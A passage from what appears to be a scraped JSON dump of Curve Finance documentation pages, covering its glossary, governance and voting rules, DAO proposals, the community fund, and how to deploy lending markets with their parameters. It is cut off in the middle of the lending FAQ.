Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Branding & Icons Info To have a protocol's asset icon deployed on the Curve frontend, the icon needs to be added to the curve-assets repository on GitHub. See the repository for more information. Official Curve logos can be found here: Logo Description Data Type and Size Link Asset 1 CRV SVG Download Asset 1 CRV PNG (200x200) Download image/svg+xml veCRV SVG Download image/svg+xml veCRV PNG (256x256) Download crvUSD SVG Download crvUSD PNG (200x200) Download Back to top", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://resources.curve.fi/glossary-branding/glossary/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Glossary Table of contents CurveV1 CurveV2 Stableswap Cryptoswap Liquid Lockers 3CRV Admin fee Base Pools Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) veCRV Vote-locked CRV Yearn Branding & Icons Table of contents CurveV1 CurveV2 Stableswap Cryptoswap Liquid Lockers 3CRV Admin fee Base Pools Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) veCRV Vote-locked CRV Yearn Glossary This page should help any new user learn what people are talking about in different social channels or in these resources or the technical documentation. CurveV1 CurveV1 refers to first product Curve deployed, which was the stablecoin swap pools. This term is used to describe any stable asset swap pool, e.g., USDT/USDC/DAI, stETH/ETH. CurveV2 CurveV2 was the second product Curve deployed, this was the cryptopool swap pools. Cryptopools are swap pools which have assets which are not stable to each other, e.g., BTC/ETH/USDT, CRV/ETH. Stableswap See CurveV1 . Cryptoswap See CurveV2 Liquid Lockers Some projects offer to take CRV, lock it in a smart contract as veCRV and give a user tokens representing the veCRV in the smart contract. These are called liquid lockers because the underlying veCRV is locked but can be transferred (is liquid). 3CRV 3CRV is the LP token for the 3Pool (sometimes referred to as TriPool). Trading fees are distributed in 3CRV. Admin fee Admin fee is the share of trading fees that are received by governance participants who have locked their CRV (see veCRV). Base Pools Base pools are an old Curve concept, yet still working in some pools such as GUSD. Base pool tokens can be paired with other tokens to create new pools, e.g. 3crv pool token (USDT, USDC, DAI) paired with GUSD. Boosting (also boosties) The act of locking your CRV to earn more CRV on your provided liquidity. Boosting your CRV Rewards CRV Governance and utility token for the Curve DAO. DeFi (Decentralized Finance) Decentralized finance (commonly referred to as DeFi) is an experimental form of finance that does not rely on financial intermediaries such as brokerages, exchanges, or banks, and instead utilizes blockchains, most commonly the Ethereum blockchain. Metamask Metamask is an Ethereum wallet that allows you to interact with Curve and other dapps. You can also use it with Ledger and Trezor hardware wallets. It's the most popular Ethereum web wallet and is available as an add-on for most browsers. Metapool Metapools are a type of pool on Curve composed of one asset as well as as LP tokens from another pool. Llamas Llamas are wonderful and magical creatures. Each Curve team member must own at least one llama as part of their contract with Curve Finance. LP (Liquidity provider) Users providing liquidity (funds/assets) on the Curve or other DeFi protocols. LP tokens (Liquidity provider token) When you deposit into a Curve pool, you receive a counter party token which represents your share of the pool. veCRV Stands for vote-escrowed CRV. They are CRV locked for the purpose of voting and earning fees. Understanding $CRV Vote-locked CRV This term is used interchangeably with Vote-escrowed CRV and veCRV. Yearn Yearn Protocol is a set of Ethereum Smart Contracts focused on creating a simple way to generate high risk-adjusted returns for depositors of various assets via best-in-class lending protocols, liquidity pools, and community-made yield farming strategies on Ethereum. It was founded by Andre Cronje who has been a long term collaborator of Curve Finance. Back to top", "labels": ["Documentation"]}, {"title": "Community Fund", "html_url": "https://resources.curve.fi/governance/community-fund/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Governance Community Fund The initial distribution of CRV allocated around 151M CRV to a community fund, intended for use in emergencies or as rewards for community-led initiatives. The Curve DAO has full access to these funds and can decide to award part of this fund through a proposal. Funds can only be distributed through linear vesting over a minimum duration of one year using a vesting contract. The contract is deployed on Ethereum at 0xe3997288987e6297ad550a69b31439504f513267 . If you have a project you believe deserves a grant, please create a proposal or discuss it with a team member on Discord or Telegram . More information on proposals: Creating a DAO proposal Back to top", "labels": ["Documentation"]}, {"title": "Understanding Governance", "html_url": "https://resources.curve.fi/governance/understanding-governance/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Understanding Governance Table of contents Voting on the Curve DAO Voting Power DAO Votes Emergency DAO Cross-Chain Governance The DAO Dashboard Creating Proposals Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Voting on the Curve DAO Voting Power DAO Votes Emergency DAO Cross-Chain Governance The DAO Dashboard Creating Proposals Home Governance Understanding Governance Voting on the Curve DAO To vote in the Curve DAO, users need to vote lock their CRV . By doing so, participants can earn a boost on their provided liquidity and vote on all DAO proposals. Users who reach a voting power of 2,500 veCRV can also create new proposals. There is no minimum voting power required to participate in voting. The duration of governance proposals is seven days . Voting Power Decay When voting on DAO proposals, a user's voting power on an individual proposal starts to decay halfway through the vote as a measure to protect against manipulation by whales. This does not apply to gauge weight votes. Additionally, overall voting power decays linearly over time. More details are provided in the section below. Example: A user begins the voting period for a proposal with 100 veCRV. If the voting duration is 7 days, their voting power will remain at 100 veCRV for the first 3.5 days. After this point, their voting power starts to decay linearly. By day 5.25 (which is halfway through the decay period), their voting power would have decreased to 50 veCRV. By the end of the 7-day voting period, the users voting power would have diminished further, approaching 0 veCRV. Voting Power veCRV stands for vote-escrowed CRV . It's a mechanism where users can lock their CRV tokens for varying lengths of time to gain voting power. Users have the option to lock their CRV for a minimum of one week and a maximum of four years. Those with longer voting escrows wield more stake, thereby receiving greater voting power. A user's voting power gradually decreases over time until it reaches zero at the time of unlock. For instance, if a user decides to lock 100 CRV for four years, they will initially receive 100 veCRV. After one year, due to the constant decay, the user's veCRV balance will reduce to 75 veCRV, then to 50 veCRV after two years, etc... until it finally zeroes out after four years. The existing lock can be extended at every point in time, resulting in a increased veCRV balance again. DAO Votes There are three different kinds of votes: Ownership votes , which control most functionality within the protocol. These votes require a 30% quorum with 51% support. Parameter votes , which can modify pool parameters. These votes require a 15% quorum with 60% support. Emergency votes , which are executed through a multisig consisting of nine members, comprised of reputable figures within the DeFi and Crypto community. More here: Emergency DAO . Voting Quorum Intuitively, one might think that the total number of votes ( YES and NO ) would count towards the quorum. However, this is not the case here. Only YES votes are counted towards the quorum. This can lead to scenarios like this: https://twitter.com/WormholeOracle/status/1782646259536531808 Emergency DAO The EmergencyDAO is a 5 of 9 multisig which has very limited actions . It may kill non-factory pools up to 2 months old. Pools that have been killed will only allow users to remove_liquidity . It may also kill liquidity gauges at any time, setting its rate of CRV emissions to 0 and therefore not allowing any further CRV emission to the pool. The EmergencyDAO multisig is deployed at 0x467947EE34aF926cF1DCac093870f613C96B1E0c and currently consists of the following signers: Name Details - Telegram Handle banteg Yearn, @banteg Calvin @calchulus C2tP Convex, @c2tp_eth Darly Lau @Daryllautk Ga3b_node @ga3b_node Naga King @nagakingg Peter MM @PeterMm Addison @addisonthunderhead Quentin Milne StakeDAO, @Kii_iu Cross-Chain Governance Since Curve is deployed on various chains, there is a need for a permissionless cross-chain governance framework to grant the DAO control over contracts across these chains. To address this, Curve has deployed various contracts on those chains to ensure DAO control. Even for cross-chain votes, voting always takes place on the Ethereum Mainnet . Once the vote concludes, the final outcome is transmitted via a message to the corresponding chain , where it is then executed. DAO Control Across Chains While DAO control of Curve smart contracts is ensured on most chains, some chains might not yet offer the required infrastructure to support this cross-chain framework. A list of all cross-chain ownership-related contracts, as well as more technical documentation, can be found here . The DAO Dashboard Users can access the Curve DAO dashboard at https://dao.curve.fi/dao . This dashboard provides an overview of all current and closed votes. Each proposal should have a corresponding topic on the Curve governance forum, accessible at https://gov.curve.fi/ . Creating Proposals To create an official proposal, users should first draft the proposal and post it on the governance forum. Its important to evaluate the proposals feasibility and gauge community interest through the Curve Discord, Telegram, or Governance forum. If users are unsure about the technical aspects of submitting the proposal to the Ethereum blockchain, they can seek assistance from a member of the team. For more details, see: Creating DAO Proposals Back to top", "labels": ["Documentation"]}, {"title": "Voting", "html_url": "https://resources.curve.fi/governance/voting/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Voting Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Where can I find out about governance? Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Where can I find out about governance? Home Governance Voting How to participate in governance? To participate in governance, Curve Finance users need to lock their CRV into a voting escrow. You can do so at this address: https://dao.curve.fi/locker What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker Get more voting power by locking your CRV for a longer period of time. Can I start voting right away? You can only vote using your voting weight at the block where a proposal was created. How to vote? Simply visit the proposal of your choice, click your vote option and confirm your transaction. You can find DAO proposals at this address: https://dao.curve.fi/dao Where can I find out about governance? You can visit the Curve Finance governance forum at this address http://gov.curve.fi/ Back to top", "labels": ["Documentation"]}, {"title": "Creating a DAO proposal", "html_url": "https://resources.curve.fi/governance/proposals/creating-a-dao-proposal/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Creating a DAO proposal Table of contents Creating your vote Creating your proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Creating your vote Creating your proposal Home Governance Proposals Creating a DAO proposal Official DAO proposals are the only way to create enforceable changes in the Curve protocol. There are currently two types of votes: parameter and text. Parameter votes are automatically committed to the DAO three days after they are enacted at the end of the vote. Text proposals are different as they often necessitate development. For these, it is recommended to discuss with the Curve team to understand the feasibility and to create a signaling proposal. Before creating an on-chain vote, it might make sense to do a temperature check on the governance forum , especially if the subject is of an important matter. To actually create an on-chain proposal, 2500 veCRV are required. (1) But there's nothing to worry about, my friend. If you don't have 2500 veCRV, there are plenty of helpful community members who will surely help you create one. Creating your vote Visit the Curve DAO: https://dao.curve.fi/dao , select your type of vote and submit it. Creating your proposal Every DAO proposal must be accompanied with a proposal on the Curve governance forum. Visit the proposal section: https://gov.curve.fi/c/proposals/8 and click \"New Topic\" . You will then be presented with a template to help you present your proposed choices to the community. After that's done, be sure to engage with members of the community who have questions about your proposal. Back to top", "labels": ["Documentation"]}, {"title": "Creating Lending Markets", "html_url": "https://resources.curve.fi/lending/create-lending-market/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market How to Create a Lending Market Table of contents Creating a Pool Creating a Lending Market CRV Rewards and other Incentives for Suppliers Deploying a Gauge Receiving CRV rewards from weekly emissions Adding other incentives for suppliers Lending Market Deployment Parameters Amplification Factor (A) Loan Discount Liquidation Discount Borrowing Interest Rates Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Creating a Pool Creating a Lending Market CRV Rewards and other Incentives for Suppliers Deploying a Gauge Receiving CRV rewards from weekly emissions Adding other incentives for suppliers Lending Market Deployment Parameters Amplification Factor (A) Loan Discount Liquidation Discount Borrowing Interest Rates Home Curve Lending Creating Lending Markets Creating a Pool Before attempting to create a lending market, a curve pool for the ASSET paired with crvUSD which implements an unmanipulatable price oracle must exist. Pools with unmanipulatable oracles are the following: twocrypto-ng - for 2 unpegged assets, e.g., crvUSD/CRV tricrypto-ng - for 3 unpegged assets, e.g., crvUSD/WETH/CRV stableswap-ng - for 2 pegged assets, e.g., crvUSD/USDC Custom Price Oracles If an ASSET/WETH pool is more desirable than an ASSET/crvUSD pool, it is possible to link the ASSET/WETH price to the WETH/crvUSD price using a custom price oracle. This can then be used to create a lending market. Please get in contact with the team in telegram if this is the case. The easiest way to create a pool is through the official Create Pool UI . Guides are available for creating a stableswap-ng pool , twocrypto-ng pool , and a tricrypto-ng pool . Creating a Lending Market To create a lending market use the create , or create_from_pool methods in the OneWay Lending Factory smart contract to deploy all relevant contracts and set all parameters. Find the OneWay Lending Factory addresses for different chains here . There is no UI for this step, it has to be done through Etherscan, or manually. To deploy a lending market using the create_from_pool method after deploying a pool the following unique parameter is used: pool : the address of the pool which includes both the borrowed_token and collateral_token . To deploy a lending market using the create method with a custom oracle the following unique parameter is used: price_oracle : address of the custom price oracle contract Then for both methods the following additional parameters must be supplied: borrowed_token : address of the token to be supplied and borrowed collateral_token : address of the token to be used as collateral A : the amplification factor, most markets use a value between 10-30. Use lower values for riskier assets. Input as a normal number, e.g., 10 = 10 fee : the amm swap fee, most pools use between 0.3-1.5%. Input as a \\(10^{18}\\) number, e.g., 0.06% = 6000000000000000. loan_discount : the amount to discount collateral for calculating maximum LTV. This is usually higher than liquidation_discount by 3-4%. Input as a \\(10^{18}\\) number, e.g., 11% = 110000000000000000. liquidation_discount : the amount to discount collateral for health and hard-liquidation calculations. This is usually less than loan_discount by 3-4%. Input as a \\(10^{18}\\) number, e.g., 8% = 80000000000000000. name : The name of the market Finally, the following parameters are optional for both methods, if they are not supplied they are set to the default values set by the CurveDAO: min_borrow_rate : the minimum borrow rate, as rate/sec. Input as a \\(10^{18}\\) number, e.g., 1% APR = 317097919 max_borrow_rate : the maximum borrow rate, as rate/sec. Input as a \\(10^{18}\\) number, e.g., 80% APR = 25367833587 Warning Parameters are given in different formats: A is just given as itself, e.g., 30 = 30, but others like loan_discount are given as a a \\(10^{18}\\) number, e.g., 11% = 110000000000000000. Using the OneWay Lending Factory will add the pool to the Curve UI and deploy all contracts needed for the market to function. CRV Rewards and other Incentives for Suppliers Deploying a Gauge A Curve lending market requires a gauge linked to the supply vault before suppliers can stake their vault shares to receive incentives/rewards . A gauge can be easily deployed through the OneWay Lending Factory by calling the deploy_gauge method and supplying the newly created vault contract address. Anyone can deploy a gauge for a market that does not have one. Receiving CRV rewards from weekly emissions Before a gauge is eligible to receive CRV from weekly emissions, it must be added to the Gauge Controller contract, the contract is deployed on Ethereum here . To be added to the Gauge Controller the CurveDAO must vote to add the lending market's gauge. See here for how to create a vote to add a gauge to the Gauge Controller . Once a Curve lending market has a gauge added to the Gauge Controller and it receives some gauge weight , the suppliers will receive CRV rewards when they stake their vault shares into the gauge. Adding other incentives for suppliers The deployer of the Curve Lending Market is given the role of manager . The manager can add reward tokens to the pool through the add_reward method within the lending market's gauge. Once a token is added, the manager can deposit the token using the deposit_reward_token method. The tokens then stream to the suppliers staked in the gauge over the specified period. Lending Market Deployment Parameters Amplification Factor (A) The amplification factor A defines the width of bands, see formula below and more detailed information here and applet here . A is also a part of the calculation for the maximum LTV of the market, see loan_discount section . \\[\\text{band_width} \\approx \\frac{\\text{price}}{\\text{A}}\\] Loan Discount The loan_discount is used for finding the maximum LTV (loan-to-value) a user can have in a lending market. At the time of writing this value ranges from 7% for WETH to 33% for volatile and less liquid assets like UwU. Use the calculator here to see the maximum LTVs a user can have based on the loan_discount , amplification factor A and their number of bands N . The formula is: \\[\\text{max_LTV} = 1 - \\text{loan_discount} - \\frac{N}{2*A}\\] Liquidation Discount liquidation_discount defines how much to discount the collateral for the purpose of a hard-liquidation. This is usually 3-4% lower than the loan_discount . A user is hard-liquidated when their health is less than 0, and the liquidation_discount is an integral part of the health calculation. See here for more information Borrowing Interest Rates When creating a market the creator must define the min_borrow_rate and max_borrow_rate of the market. Use the tool below to simulate how utilization affects borrowing and lending interest rates. In the smart contracts the rates they are given as interest per second , converting from a desired APR to a borrow_rate in interest per second is as follows: \\[\\text{borrow_rate} = \\frac{\\text{APR}}{\\text{seconds_in_year}} = \\frac{\\text{APR}}{86400 \\times 365}\\] Rate Calculator Inputs: Min Borrow APR % : Max Borrow APR % : Utilization Chart Utilization Table Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending: FAQ", "html_url": "https://resources.curve.fi/lending/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ Lending FAQ Table of contents General What's the difference between minting crvUSD and lending markets? How much can you borrow against your collateral (LTV)? How does the LLAMMA liquidation process differ from other debt-based stablecoins? What tokens can be used in lending markets? How to create a lending market? What is a 'loan discount' and what impact does it have? What is the difference between self-liquidating and repaying? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Interest Rate What is the borrow rate? How is the borrow rate calculated? What is the lend rate? How is the lend rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when borrowing assets? Has the lending system been audited? Can I see the code? How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents General What's the difference between minting crvUSD and lending markets? How much can you borrow against your collateral (LTV)? How does the LLAMMA liquidation process differ from other debt-based stablecoins? What tokens can be used in lending markets? How to create a lending market? What is a 'loan discount' and what impact does it have? What is the difference between self-liquidating and repaying? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Interest Rate What is the borrow rate? How is the borrow rate calculated? What is the lend rate? How is the lend rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when borrowing assets? Has the lending system been audited? Can I see the code? Home Curve Lending Curve Lending: FAQ General What's the difference between minting crvUSD and lending markets? Lending markets work very similarly to the markets for minting crvUSD. Here are the major differences: Lending markets are permissionless; any assets in combination with crvUSD can be used . This means users can borrow against tokens like CRV, LRT's, etc. You name it. The only requirement is a proper oracle 1 . Although, before creating a lending market, proper parameters should be simulated. The interest rate 